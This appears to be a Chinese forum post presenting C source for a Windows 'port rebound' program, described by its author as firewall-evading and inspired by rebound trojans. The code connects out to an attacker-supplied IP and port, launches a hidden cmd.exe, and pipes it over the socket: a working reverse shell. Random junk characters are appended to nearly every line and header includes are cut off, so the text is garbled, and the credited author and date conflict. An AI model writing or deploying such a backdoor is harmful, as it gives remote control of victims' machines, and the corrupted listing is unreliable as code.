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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 MqqS3   
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/* ============================== jDoWSYu4tY  
Rebound port in Windows NT u@HP@>V  
By wind,2006/7 vIJdl2(^E  
===============================*/ -*EJj>x  
#include 1\p[mN  
#include zSO[f  
ZS-9|EA<  
#pragma comment(lib,"wsock32.lib") |&JL6hN  
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void OutputShell(); /iK )tl|X  
SOCKET sClient; Tla*V#:Ve  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; vB p5&*  
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void main(int argc,char **argv) =h)H`  
{ +CkK4<dF  
WSADATA stWsaData; q )[g VL  
int nRet; 9&tV#=s  
SOCKADDR_IN stSaiClient,stSaiServer;  4Zq5  
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if(argc != 3) :PLsA3[}  
{ oOlI*/OMb  
printf("Useage:\n\rRebound DestIP DestPort\n"); 7~',q"4P/_  
return; r0sd_@Oj  
} M3V[p9>  
YpL}R#  
WSAStartup(MAKEWORD(2,2),&stWsaData); x R.Ql>  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~-6;h.x=  
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stSaiClient.sin_family = AF_INET; S92Dvw?  
stSaiClient.sin_port = htons(0); }&j&T9oX  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); TuU.yvkU  
/vhh2`  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ax<0grK  
{ "_`~9qDy  
printf("Bind Socket Failed!\n"); f t7wMi  
return; =p"0G%+%  
} s{/nO)  
{^qc`oF  
stSaiServer.sin_family = AF_INET; L*Y}pO  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =[WccF  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); gUMUh] j  
_,}Ye,(^=  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _i 8oWy1  
{ \rJk[Kec  
printf("Connect Error!"); ,]d}pJ}PX`  
return; s)V^_@Z 9  
} o+na`ed  
OutputShell(); Z(Vrmz2.  
} K(p1+ GHC  
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void OutputShell() Ort\J~ O  
{ ZG>OT@ GA  
char szBuff[1024]; 0,c z&8  
SECURITY_ATTRIBUTES stSecurityAttributes; A!J5Wz>Q5  
OSVERSIONINFO stOsversionInfo; WC4Il C  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; FKQnz/  
STARTUPINFO stStartupInfo; I/tzo(r  
char *szShell; jsR1jou6  
PROCESS_INFORMATION stProcessInformation; FD*y[A ?  
unsigned long lBytesRead; =k_u5@.Z  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Xy{b(b;9  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |qr[*c3$1  
stSecurityAttributes.lpSecurityDescriptor = 0; ~`BOz P  
stSecurityAttributes.bInheritHandle = TRUE; 6Z"%vrH  
+)|2$$m  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); X;1q1X)K  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ;2iZX=P`n  
TnG"_VK9R  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .D)}MyKnu  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \DHCf 4,  
stStartupInfo.wShowWindow = SW_HIDE; =nsY[ s<  
stStartupInfo.hStdInput = hReadPipe; <7p2OPD  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; d+^;kse  
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GetVersionEx(&stOsversionInfo); rf~Ss<  
h<j04fj  
switch(stOsversionInfo.dwPlatformId) T/3UF  
{ U*b SM8)L*  
case 1: ;(afz?T  
szShell = "command.com"; ]oY~8HW  
break; k\[2o  
default: }Yj S v^  
szShell = "cmd.exe"; 0L6L_;o  
break; <7zpHSFBq  
} j7W_%Yk|E  
l>G#+#{  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Fg~,1[8w<  
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send(sClient,szMsg,77,0); O$$N{  
while(1) @|^C h+%@  
{ oqE -q\!H  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (=X16}n:>  
if(lBytesRead) `i{:mio  
{ yT>T Vq/e  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); DK- =Q~`!  
send(sClient,szBuff,lBytesRead,0); G'("-9  
} 48DsRy  
else csV1ki/A  
{ vr;7p[~  
lBytesRead=recv(sClient,szBuff,1024,0); ]_Qc}pMF&  
if(lBytesRead<=0) break; YlA=? X  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Bm?Ku7}.  
} LU]~d< i99  
} hImCy9i}  
C }[u[)  
return; ir m8z|N-  
}
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